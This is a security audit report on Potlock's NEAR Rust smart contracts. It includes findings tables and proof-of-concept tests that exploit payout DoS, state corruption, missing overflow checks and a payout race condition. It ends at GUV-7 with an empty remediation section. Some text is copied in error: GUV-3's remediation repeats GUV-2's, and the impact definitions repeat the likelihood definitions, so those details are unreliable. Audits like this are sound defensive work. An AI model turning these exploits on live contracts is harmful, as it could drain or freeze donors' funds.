Guvenkaya® The Bedrock of Security

Potlock

NEAR Rust Smart Contract Security Assessment

Lead Security Engineer: Timur Guvenkaya
Date of Engagement: 4th January 2024 - 19th January 2024
Visit: www.guvenkaya.co

Contents

Findings Details 14

About Us

Guvenkaya is a security research firm specializing in Rust security, Web3 security of Rust-based protocols, and Web2 security. With our expertise, we provide both security auditing services and custom security solutions

About Potlock

PotLock is the portal for public goods, non-profits, and communities to raise funds transparently through our global donor network

Audit Results

Guvenkaya conducted a security assessment of the Potlock core smart contracts from 4th January 2024 to 19th January 2024. During this engagement, a total of 20 findings were reported. 2 of the findings were critical, 2 high, 1 medium, and the remaining were either low or informational severity. All major issues were fixed by the Potlock team.

Project Scope

Lines of Code Reviewed: 4273

Donations Smart Contract

File name	Link
Donations	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/donations.rs
Constants	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/constants.rs
Events	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/events.rs
Internal	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/internal.rs
Lib	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/lib.rs
Owner	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/owner.rs
Source	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/source.rs
Utils	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/donation/src/utils.rs

Pot Smart Contract

File name	Link
Admin	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/admin.rs
Applications	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/applications.rs
Config	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/config.rs
Constants	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/constants.rs
Donations	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/donations.rs
Events	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/events.rs
Internal	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/internal.rs
Lib	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/lib.rs
Payouts	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/payouts.rs
Source	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/source.rs
Utils	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot/src/utils.rs

Pot Factory Smart Contract

File name	Link
Admin	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/admin.rs
Constants	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/constants.rs
Events	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/events.rs
Internal	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/internal.rs
Lib	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/lib.rs
Pot	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/pot.rs
Source	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/source.rs
Utils	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/pot_factory/src/utils.rs

Registry Smart Contract

File name	Link
Admins	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/admins.rs
Constants	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/constants.rs
Events	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/events.rs
Internal	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/internal.rs
Lib	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/lib.rs
Owner	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/owner.rs
Projects	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/projects.rs
Source	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/source.rs
Utils	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/registry/src/utils.rs

Sybil Smart Contract

File name	Link
Admins	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/admin.rs
Constants	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/constants.rs
Events	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/events.rs
Human	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/human.rs
Internal	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/internal.rs
Lib	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/lib.rs
Owner	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/owner.rs
Providers	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/providers.rs
Source	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/source.rs
Stamps	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/stamps.rs
Utils	https://github.com/PotLock/core/blob/71f35051f81c333c85fafc42d073173191ad14ca/contracts/sybil/src/utils.rs

Out of Scope

The audit will include, but is not limited to, reviewing the code for security vulnerabilities, coding practices, and architecture. The audit does not include a review of the dependencies.

Timeline

Start of the audit	Draft report	Final report
4th January 2024	20th January 2024	30th January 2024

Methodology

RESEARCH INTO PROJECT ARCHITECTURE

PREPARING ATTACK VECTORS

SETTING UP AN ENVIRONMENT

MANUAL CODE REVIEW OF THE CODE

ASSESSMENT OF RUST SECURITY ISSUES

ASSESSMENT OF NEAR SECURITY ISSUES

ASSESSMENT OF ARITHMETIC ISSUES

BUSINESS LOGIC VULNERABILITY ASSESSMENT

ONCHAIN TESTING USING NEAR WORKSPACES

BEST PRACTICES AND CODE QUALITY

CHECKING FOR CODE REFACTORING/SIMPLIFICATION POSSIBILITIES

ARCHITECTURE IMPROVEMENT SUGGESTIONS

PREPARING POCS AND/OR TESTS FOR EACH CRITICAL/HIGH/MEDIUM ISSUES

Severity Breakdown

01. Likelihood Ratings

Likely: The vulnerability is easily discoverable and not overly complex to exploit.
Possible: The vulnerability presents some challenges either in discovery or in the complexity of the attack.
Rare: The vulnerability is either very difcult to discover or complex to exploit, or both.
This matrix provides a nuanced view, taking into account both the ease of discovering a vulnerability and the complexity involved in exploiting it.

02. Impact

Severe: The vulnerability is easily discoverable and not overly complex to exploit.
Moderate: The vulnerability presents some challenges either in discovery or in the complexity of the attack.
Negligible: The vulnerability is either very difcult to discover or complex to exploit, or both.

03. Severity Ratings

Critical: Assigned to vulnerabilities with severe impact and a likely likelihood of exploitation.
High: For vulnerabilities with either severe impact but only a possible likelihood, or moderate impact with a likely likelihood.
Medium: Used for vulnerabilities with severe impact but a rare likelihood, moderate impact with a possible likelihood, or negligible impact with a likely likelihood.
Low: For vulnerabilities with moderate impact and rare likelihood, or negligible impact with a possible likelihood.
Informational: The lowest severity rating, typically for vulnerabilities with negligible impact and a rare likelihood of exploitation.

CRITICAL **HIGH** **MEDIUM** Low Informational

Likelihood Matrix:

Attack Complexity \ Discovery Ease	Obvious	Concealed	Hidden
Complex	Possible	Rare	Rare
Moderate	Likely	Possible	Rare
Straightforward	Likely	Possible	Possible

Likelihood/Impact Matrix:

Likelihood \ Impact	Severe	Moderate	Negligible
Likely	**CRITICAL**	**HIGH**	**MEDIUM**
Possible	**HIGH**	**MEDIUM**	Low
Rare	**MEDIUM**	Low	Informational

Findings Summary

01. Remediation Complexity: This measures how difcult it is to fx the vulnerability once it has been identifed.

Simple: Patches or fixes are readily available and easily implemented.

Moderate: Requires some time and resources to remediate, but well within the capabilities of most organizations.

Difficult: Remediation requires significant resources, specialized skills, or substantial changes to systems or architecture.

02. Status: This measures how difcult it is to fx the vulnerability once it has been identifed.

Not Fixed: Indicates that the vulnerability has been identifed but no remedial action has been taken yet. This status is crucial for newly discovered vulnerabilities or those awaiting prioritization.

Fixed: This status is applied when the vulnerability has been successfully remediated. It implies that appropriate measures (like patching, confguration changes, or architectural modifcations) have been implemented to resolve the issue.

Acknowledged: This status is used for vulnerabilities that have been recognized, but for various reasons (such as risk acceptance, cost, or other business decisions), have not been fxed. It indicates that the risk posed by the vulnerability is known and has been consciously accepted.

Finding	Impact	Likelihood	Severity	Remediation Complexity	Remediation Status
GUV-1: DoS of Process Payouts	Severe	Likely	**CRITICAL**	Simple	Fixed
GUV-2: State Corruption On Setting Payout	Severe	Likely	**CRITICAL**	Simple	Fixed
GUV-3 User Funds Not Returned On Error From Sybil Provider	Moderate	Likely	**HIGH**	Simple	Fixed
GUV-4 Arithmetic Issues In Fee Calculation	Moderate	Likely	**HIGH**	Simple	Fixed
GUV-5 No Runtime Overflow Checks Applied	Moderate	Possible	**MEDIUM**	Simple	Fixed
GUV-6 Race Condition in Admin Process Payment	Moderate	Rare	Low	Moderate	Fixed
GUV-7 Max Project Check Is Invalid	Negligible	Possible	Low	Simple	Fixed
GUV-8 Deactivating Provider Does Not Remove It From Default Providers	Negligible	Possible	Low	Simple	Fixed
GUV-9 Deactivated Provider Retains All Stamps	Negligible	Possible	Low	Moderate	Acknowledged
GUV-10 Invalid Implementation Of New Admin Addition	Negligible	Possible	Low	Simple	Fixed
GUV-11 Error-Prone Function Should Be Removed	Negligible	Possible	Low	Simple	Acknowledged
GUV-12 Missing Limits On View Functions	Negligible	Possible	Low	Simple	Fixed
GUV-13 Privileged Functions Are Not Protected By 2FA	Negligible	Possible	Low	Simple	Fixed
GUV-14 Privileged Users Should Not Be Allowed To Have Other Roles	Negligible	Possible	Low	Simple	Fixed

Finding	Impact	Likelihood	Severity	Remediation Complexity	Remediation Status
GUV-15 Redundant Functionality	Negligible	Rare	Informational	Simple	Acknowledged
GUV-16 Size Of The Contract Can Be Decreased	Negligible	Rare	Informational	Simple	Fixed
GUV-17 Redundant State Statuses	Negligible	Rare	Informational	Simple	Acknowledged
GUV-18 Usage of assert instead of require	Negligible	Rare	Informational	Simple	Acknowledged
GUV-19 Using suboptimal panic function	Negligible	Rare	Informational	Simple	Acknowledged
GUV-20 Redundant state check in initializers	Negligible	Rare	Informational	Simple	Acknowledged

Findings Details

GUV-1 DoS of Process Payouts - Critical

The admin's payout process function iterates over the application storage, verifying whether each application is approved. However, if a single application is not approved, the system does not process payouts for any applications. A malicious actor can exploit this by adding a new application before the payout process begins, which prevents the function from processing all payouts. Consequently, the admin is forced to either approve a potentially harmful application or halt the system's payout process.

pot:admin_process_payouts:pot/src/payout.rs

```
        for (project_id, v_app) in self.applications_by_id.iter() {
                // TODO: update this to only go through approved applications
                // mapping
              self.assert_approved_application(&project_id); // TODO: check that the
project is not owner, admin or chef
                let application = Application::from(v_app);
                // ...if there are payouts for the project...
                if let Some(payout_ids_for_project) =
                  self.payout_ids_by_project_id.get(&project_id)
                {
                  // TODO: handle milestones (for now just paying out all payouts)
                  for payout_id in payout_ids_for_project.iter() {
                    let payout = Payout::from(
                      self.payouts_by_id.get(&payout_id).expect("no payout"),
                    );
```

pot:admin_process_payouts:pot/src/payout.rs

```
                if payout.paid_at.is_none() {
                    // ...transfer funds...
                    Promise::new(application.project_id.clone())
                        .transfer(payout.amount.0)
                        .then(
                            Self::ext(env::current_account_id())
                                .with_static_gas(XCC_GAS)
                                .transfer_payout_callback(payout),
                        );
                }
            }
        }
    }
    self.all_paid_out = true;
}
```

Here is the poc which demonstrates the exploit.

poc

```
#[tokio::test]
async fn dos_on_admin_process_payments() -> color_eyre::Result<()> {
    // disabled self.assert_cooldown_period_complete(); &
    // self.assert_round_closed(); To make it easier to test

    let EnvData {
        pot_contract,
        admin,
        malicious_actor,
        malicious_actor2,
        chef,
        ..
    } = prepare().await?;

    malicious_actor
        .call(pot_contract.id(), "apply")
        .args_json(json!({}))
        .max_gas()
        .deposit(NearToken::from_near(1))
        .transact()
        .await?
        .into_result()?;

    malicious_actor2
        .call(pot_contract.id(), "apply")
        .args_json(json!({}))
        .max_gas()
        .deposit(NearToken::from_near(1))
        .transact()
        .await?
        .into_result()?;
```

poc

```
// Only approve one
        chef.call(pot_contract.id(), "chef_mark_application_approved")
            .args_json(
                json!({"project_id": malicious_actor.id(), "notes": String::new()}),
            )
            .max_gas()
            .transact()
            .await?
            .into_result()?;

        // process payouts
        let outcome = admin
            .call(pot_contract.id(), "admin_process_payouts")
            .args_json(json!({}))
            .max_gas()
            .transact()
            .await?
            .into_result();

        assert!(outcome.is_err());
        assert!(outcome
            .err()
            .unwrap()
            .to_string()
            .contains("Approved application does not exist"));

        Ok(())
    }
```

PROPOSED SOLUTION

We propose iterating only only over approved applications in the payout

REMEDIATION - FIXED

The Potlock team has fixed the issue by iterating only over approved applications in the payout process in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-2 State Corruption On Setting Payout - Critical

We noticed that the nested collection **payout_ids_by_project_id** isn't properly cleaned. Only the root collection has been removed. If an empty UnorderedSet is placed in the same entry of the root, the collection will be in an inconsistent state. This occurs when **chef_set_payouts** is called a second time.

pot:chef_set_payouts:pot/src/payout.rs

```
for application_id in self.approved_application_ids.iter() {
        if let Some(payout_ids_for_application) =
          self.payout_ids_by_project_id.get(&application_id)
        {
          for payout_id in payout_ids_for_application.iter() {
            self.payouts_by_id.remove(&payout_id);
            test_payout_id = payout_id;
          }
         self.payout_ids_by_project_id.remove(&application_id);
        }
      }
```

Here is the poc which demonstrates the exploit. We modified the actual contract to make the testing easier

poc

```
#[tokio::test]
async fn chef_set_payout_corrupted_state() -> color_eyre::Result<()> {
    let EnvData {
        pot_contract,
        malicious_actor,
        chef,
        ..
    } = prepare().await?;

    malicious_actor
        .call(pot_contract.id(), "apply")
        .args_json(json!({}))
        .max_gas()
        .deposit(NearToken::from_near(1))
        .transact()
        .await?
        .into_result()?;

    chef.call(pot_contract.id(), "chef_mark_application_approved")
        .args_json(
            json!({"project_id": malicious_actor.id(), "notes": String::new()}),
        )
        .max_gas()
        .transact()
        .await?
        .into_result()?;
```

poc

```
    let outcome = chef
        .call(pot_contract.id(), "chef_set_payouts")
        .args_json(json!({"payouts": vec![PayoutInput{
            project_id: malicious_actor.id().as_str().parse()?,
            amount: NearToken::from_near(1).as_yoctonear().into(),
        }]}))
        .max_gas()
        .transact()
        .await?
        .into_result()?;

    println!("OUTCOME LOGS: {:#?}", outcome.logs());

      let outcome = chef
          .call(pot_contract.id(), "chef_set_payouts")
          .args_json(json!({"payouts": vec![PayoutInput{
              project_id: malicious_actor.id().as_str().parse()?,
              amount: NearToken::from_near(1).as_yoctonear().into(),
          }]}))
          .max_gas()
          .transact()
          .await?
          .into_result()?;

      println!("OUTCOME LOGS: {:#?}", outcome.logs());

      Ok(())
  }
```

poc:modified_contract

```
pub fn chef_set_payouts(&mut self, payouts: Vec<PayoutInput>) {
    self.assert_chef_or_greater();
    // verify that the round has closed
    // self.assert_round_closed();
    // verify that payouts have not already been processed
    assert!(
        self.all_paid_out == false,
        "Payouts have already been processed"
    );
    // clear any existing payouts (in case this is a reset, e.g. fixing an
    // error)
    //
    let mut test_payout_id = String::new();
    for application_id in self.approved_application_ids.iter() {
        if let Some(payout_ids_for_application) =
            self.payout_ids_by_project_id.get(&application_id)
        {
            for payout_id in payout_ids_for_application.iter() {
                self.payouts_by_id.remove(&payout_id);
                test_payout_id = payout_id;
            }
            self.payout_ids_by_project_id.remove(&application_id);
  }
    }
    // get down to business
    let mut running_total: u128 = 0;
    // for each payout:
    for payout in payouts.iter() {
        // verify that the project exists and is approved
        self.assert_approved_application(&payout.project_id);
```

poc:modified_contract

```
// TODO: check that the project is not owner, admin or chef
// add amount to running total
 running_total += payout.amount.0;
      // set cooldown_end to now + 1 week (?)
      self.cooldown_end_ms
         .set(&(env::block_timestamp_ms() + ONE_WEEK_MS)); // TODO: remove

//hardcoding to one week, allow owner/admin to
//configure add payout to payouts
let mut payout_ids_for_application = self
         .payout_ids_by_project_id
         .get(&payout.project_id)
         .unwrap_or(UnorderedSet::new(
            StorageKey::PayoutIdsByProjectIdInner {
               project_id: payout.project_id.clone(),
            },
         ));

      let test_payout = payout_ids_for_application.is_empty();

      log!("TEST PAYOUT IS_EMPTY: {}", test_payout);

      let test_payout =
         payout_ids_for_application.contains(&test_payout_id);

      log!("TEST PAYOUT CONTAINS: {}", test_payout);
```

poc:modified_contract

```
let payout_id = format!(
                    "{}{}{}",
                    payout.project_id,
                    PAYOUT_ID_DELIMITER,
                    payout_ids_for_application.len() + 1
                );
                let payout = Payout {
                    id: payout_id.clone(),
                    amount: U128::from(payout.amount.0),
                    project_id: payout.project_id.clone(),
                    paid_at: None,
                };
                payout_ids_for_application.insert(&payout_id);
                self.payout_ids_by_project_id
                    .insert(&payout.project_id, &payout_ids_for_application);
                self.payouts_by_id
                    .insert(&payout_id, &VersionedPayout::Current(payout));
            }
```

Upon calling chef_set_payouts for the second time, the logs indicate an inconsistency. The **test_payout** appears to be empty, yet simultaneously contains the **test_payout_id**. This is not correct.

PROPOSED SOLUTION

We propose using **.clear()** to clear the nested collection.

REMEDIATION - FIXED

The Potlock team has fixed the issue by using **.clear()** to remove the nested collection in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-3 User Funds Not Returned On Error From Sybil Provider - High

We observed that the caller ID in the callback is incorrectly set to**env::predecessor_account_id()**. The callback caller is always **env::current_account_id()**. In this callback, if the Sybil verification fails, the users' funds are returned. However, since the caller is incorrectly set, the funds are sent to the contract itself instead of the user.

pot:sybil_callback:pot/src/donations.rs

```
#[private] // Public - but only callable by env::current_account_id()
  pub fn sybil_callback(
    &mut self,
    deposit: Balance,
    project_id: Option<ProjectId>,
    message: Option<String>,
    referrer_id: Option<AccountId>,
    matching_pool: bool,
    #[callback_result] call_result: Result<bool, PromiseError>,
  ) -> Promise {
   let caller_id = env::predecessor_account_id();

    if call_result.is_err() {
      log!(format!(
        "Error verifying sybil check; returning donation {} to donor {}",
        deposit, caller_id
      ));
      Promise::new(caller_id).transfer(deposit);
      env::panic_str(
        "There was an error querying sybil check. Donation has been
returned to donor.",
      );
    }
    ...
```

PROPOSED SOLUTION

Consider passing caller_id as an argument to the callback.

REMEDIATION - FIXED

The Potlock team has fixed the issue by using **.clear()** to remove the nested collection in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-4 Arithmetic Issues In Fee Calculation - High

We've noticed several arithmetic issues in the fee calculation.

Division before multiplicaiton

Performing division before multiplication can lead to precision errors or even incorrect results. If the amount is less than total_basis_points, the fee will always be 0. This could potentially allow a full fee bypass when the amount sent is less than total_basis_points. If the amount equals total_basis_points, the fee will always be basis_points. This could result in substantially reduced fees for users when the amount sent equals total_basis_points. If the amount is more than total_basis_points, the fee is not calculated correctly.

Incorrect rounding direction

The protocol should always round **AGAINST** the user. Therefore, division should round down, allowing the user to pay a lower fee. Since the same function calculates the protocol, referrer, and chef fees, the referrer and chef fees should also round down. However, the protocol fee should round up.

pot:calculate_fee:pot/src/donations.rs

```
pub(crate) fn calculate_fee(
    &self,
    amount: u128,
    basis_points: u32,
) -> u128 {
    let total_basis_points = 10_000u128;
    let amount_per_basis_point = amount / total_basis_points;

    basis_points as u128 * amount_per_basis_point
  }
}
```

donations:calculate_protocol_fee:donation/src/donations.rs

```
pub(crate) fn calculate_protocol_fee(&self, amount: u128) -> u128 {
    let total_basis_points = 10_000u128;
    let amount_per_basis_point = amount / total_basis_points;
    self.protocol_fee_basis_points as u128 * amount_per_basis_point
}
```

donations:calculate_referrer_fee:donation/src/donations.rs

```
pub(crate) fn calculate_referrer_fee(&self, amount: u128) -> u128 {
    let total_basis_points = 10_000u128;
    let amount_per_basis_point = amount / total_basis_points;
    self.referral_fee_basis_points as u128 * amount_per_basis_point
}
```

Here is the poc which shows how the order of operations and rounding direction impact calculation

poc

```
fn calculate_fee(
    amount: u128,
    basis_points: u32,
) -> u128 {
    let total_basis_points = 10_000u128;
    let amount_per_basis_point = amount / total_basis_points;
    basis_points as u128 * amount_per_basis_point
}

  fn calculate_fee_better(
    amount: u128,
    basis_points: u32,
) -> u128 {
    let total_basis_points = 10_000u128;
   basis_points as u128 * amount / total_basis_points
}
fn calculate_fee_best(
amount: u128,
basis_points: u32,
is_protocol: bool
 ) -> u128 {
        let total_basis_points = 10_000u128;
        let amount = basis_points as u128 * amount;

         if !is_protocol {
             return amount / total_basis_points

             }
         amount.div_ceil(total_basis_points)
       }
    }
```

poc

```
fn main () {

 let incorrect = calculate_fee(13133313113777313, 135);
 let better = calculate_fee_better(13133313113777313, 135);
 let best_referral = calculate_fee_best(13133313113777313, 135, false);
 let best_chef = calculate_fee_best(13133313113777313, 135, false);
 let best_protocol = calculate_fee_best(13133313113777313, 135, true);

 println!("{incorrect}");
 println!("{better}");
 println!("{best_referral}");
 println!("{best_chef}");
 println!("{best_protocol}");

}
```

PROPOSED SOLUTION

Consider implementing a method similar to 'calculate_fee_best'. In this method, we round down the referrer fee and chef fee, but round up the protocol fee. Additionally, we perform multiplication before division.

REMEDIATION - FIXED

The Potlock team has fixed the issue by implementing calculate_fee_best in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-5 No Runtime Overflow Checks Applied - Medium

We've noticed that the profile release isn't applied to contracts during the compilation process. This occurs because the profile release must be located inside the root Cargo.toml to be inherited within the workspace. Given that the release profile includes `overflow-checks=true`, the generated binary lacks any runtime overflow checks. This could potentially result in overflows, such as in the verify_callback function in sybil/src/stamp.rs, where the stamp count per provider is incremented.

potlock:cargo.toml

```
[workspace]
members = [
    "donation",
    "pot",
    "pot_factory",
    "registry",
    "sybil",
    "sybil_provider_simulator"
]
```

sybil:verify_callback:sybil/src/stamp.rs

```
let initial_storage_usage = env::storage_usage();
        self.insert_stamp_record(
            stamp_id.clone(),
            stamp.clone(),
            provider_id.clone(),
            user_id.clone(),
        );

        provider.stamp_count += 1;
        self.providers_by_id.insert(
            &provider_id,
            &VersionedProvider::Current(provider.clone()),
        )
```

Here is the poc which showcase the issue. We modified the smart contract to make it easier to test.

potlock:cargo.toml

```
#[tokio::test]
async fn overflow_checks_not_applied() -> color_eyre::Result<()> {
    let EnvData {
        pot_contract,
        malicious_actor,
        ..
    } = prepare().await?;

    // pub fn test_underflow(num: u8) -> u8 {
    //     num - 1
    // }

    let val = malicious_actor
        .call(pot_contract.id(), "test_underflow")
        .args_json(json!({"num": 0}))
        .max_gas()
        .transact()
        .await?
        .into_result()?
        .json::<u8>()?;

    assert_eq!(val, 255);

    Ok(())
}
```

PROPOSED SOLUTION

Transfer the release profile from the workspace Cargo.toml files to the root. Additionally, consider relocating the dependencies as well. There are numerous duplicate dependencies across contracts. Centralizing them in a single root Cargo.toml will simplify dependency management.

REMEDIATION - FIXED

The Potlock team has fixed the issue by enabling overflow checks in the root Cargo.toml in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-6 Race Condition in Admin Process Payment - Low

We noticed a race condition in the **admin_process_payouts** function. This issue arises because **payout.paid_at = Some(env::block_timestamp_ms());** is set within a callback. Callbacks execute after several blocks, allowing the admin to potentially run this function multiple times and process more payments than permitted. In this particular scenario, it isn't exploitable because **self.all_paid_out=true** is set immediately after the loop. Nevertheless, it's advisable to mark the project as paid outside of the callback.

pot:admin_process_payouts:pot/src/payout.rs

```
for payout_id in payout_ids_for_project.iter() {
        let payout = Payout::from(
          self.payouts_by_id.get(&payout_id).expect("no payout"),
        );
      if payout.paid_at.is_none() {
          let payout_amount = payout.amount.0;

          // ...transfer funds...
          Promise::new(application.project_id.clone())
            .transfer(payout_amount)
            .then(
              Self::ext(env::current_account_id())
                .with_static_gas(XCC_GAS)
                .transfer_payout_callback(payout),
            );
        }
      }
    }
  self.all_paid_out = true;
```

pot:transfer_payout_callback:pot/src/payout.rs

```
#[private] // Public - but only callable by env::current_account_id()
pub fn transfer_payout_callback(
    &mut self,
    mut payout: Payout,
    #[callback_result] call_result: Result<(), PromiseError>,
) {
    if call_result.is_err() {
        log!(format!(
            "Error paying out amount {:#?} to project {}",
            payout.amount, payout.project_id
        ));

        payout.paid_at = None;
        self.payouts_by_id
            .insert(&payout.id.clone(), &VersionedPayout::Current(payout));
    } else {
        log!(format!(
            "Successfully paid out amount {:#?} to project {}",
            payout.amount, payout.project_id
        ));
        // update payout to indicate that funds have been transferred
      payout.paid_at = Some(env::block_timestamp_ms());
        let payout_id = payout.id.clone();
        self.payouts_by_id
            .insert(&payout_id, &VersionedPayout::Current(payout));
    }
}
```

Here is the poc which shows an exploitation of the issue if self.all_paid_out was inside of the callback.

pot:transfer_payout_callback:pot/src/payout.rs

```
// moved self.all_paid_out = true; inside of callback
#[tokio::test]
async fn admin_process_payouts_race_condition() -> color_eyre::Result<()> {
    let EnvData {
        pot_contract,
        malicious_actor,
        chef,
        admin,
        ..
    } = prepare().await?;

    malicious_actor
        .call(pot_contract.id(), "apply")
        .args_json(json!({}))
        .max_gas()
        .deposit(NearToken::from_near(1))
        .transact()
        .await?
        .into_result()?;

    chef.call(pot_contract.id(), "chef_mark_application_approved")
     .args_json(
          json!({"project_id": malicious_actor.id(), "notes": String::new()}),
        )
        .max_gas()
        .transact()
        .await?
        .into_result()?;
    let malicous_account_before = malicious_actor.view_account().await?.balance;

    println!("BALANCE BEFORE: {}", malicous_account_before.as_near());
```

pot:transfer_payout_callback:pot/src/payout.rs

```
        let outcome = chef.call(pot_contract.id(), "chef_set_payouts").args_json(json!
({"payouts": vec![PayoutInput{
                project_id: malicious_actor.id().as_str().parse()?,
                amount: NearToken::from_near(3).as_yoctonear().into(),
            }, PayoutInput{
                project_id: malicious_actor.id().as_str().parse()?,
                amount: NearToken::from_near(2).as_yoctonear().into(),
            }, PayoutInput{
                project_id: malicious_actor.id().as_str().parse()?,
                amount: NearToken::from_near(1).as_yoctonear().into(),
            }]})).max_gas().transact().await?.into_result()?;
        println!("OUTCOME LOGS: {:#?}", outcome.logs());

        let outcome = admin
            .batch(pot_contract.id())
            .call(
                Function::new("admin_process_payouts").gas(NearGas::from_tgas(100)),
            )
            .call(
                Function::new("admin_process_payouts").gas(NearGas::from_tgas(100)),
            )
            .transact()
          .await?;
        println!("OUTCOME LOGS: {:#?}", outcome);

        let malicous_account_after = malicious_actor.view_account().await?.balance;
        println!("BALANCE AFTER: {}", malicous_account_after.as_near());

        assert_eq!(
            malicous_account_after.as_near(),
            malicous_account_before.as_near() + NearToken::from_near(12).as_near()
        );
        Ok(())}
```

PROPOSED SOLUTION

Consider setting paid_at outside of the callback.

REMEDIATION - FIXED

The Potlock team has fixed the issue by setting paid_at outside of the callback in this Pull Request:
https://github.com/PotLock/core/pull/32

GUV-7 Max Project Check Is Invalid - Low

We noticed that the assert_max_projects_not_reached check in handle_apply only verifies the maximum number of approved projects. However, as none of the projects in handle_apply are approved, this check is ineffective.

pot:handle_apply:pot/src/payout.rs

```
pub(crate) fn handle_apply(
    &mut self,
    project_id: ProjectId,
    message: Option<String>,
    deposit: Balance,
) -> Application {
    // check that application doesn't already exist for this project
    if self.applications_by_id.get(&project_id).is_some() {
        // application already exists
        env::panic_str("Application already exists for this project");
    }
    // check that application period is open
    self.assert_application_period_open();
    // check that max_projects hasn't been reached
    self.assert_max_projects_not_reached();
    let application = Application {
        project_id,
        message,
        status: ApplicationStatus::Pending,
        submitted_at: env::block_timestamp_ms(),
        updated_at: None,
        review_notes: None,
    };
```

pot:assert_max_projects_not_reached:pot/src/payout.rs

```
pub(crate) fn assert_max_projects_not_reached(&self) {
    assert!(
     self.approved_application_ids.len() < self.max_projects.into(),
      "Max projects reached"
    );
  }
```

Here is the poc which demonstrates this issue

poc

```
#[tokio::test]
async fn can_set_more_than_max_projects() -> color_eyre::Result<()> {
  let EnvData {
    pot_contract,
    malicious_actor,
    malicious_actor2,
    ..
  } = prepare().await?;

  malicious_actor
    .call(pot_contract.id(), "apply")
    .args_json(json!({}))
    .max_gas()
    .deposit(NearToken::from_near(1))
    .transact()
    .await?
    .into_result()?;
```

Here is the poc which demonstrates this issue

poc

```
    malicious_actor2
        .call(pot_contract.id(), "apply")
        .args_json(json!({}))
        .max_gas()
        .deposit(NearToken::from_near(1))
        .transact()
        .await?
        .into_result()?;

    let applicaitons = pot_contract
        .view("get_applications")
        .args_json(json!({}))
        .await?
        .json::<Vec<Application>>()?;

    println!("Applications: {:?}", applicaitons);

    assert_eq!(applicaitons.len(), 2);

    Ok(())
}
```

PROPOSED SOLUTION

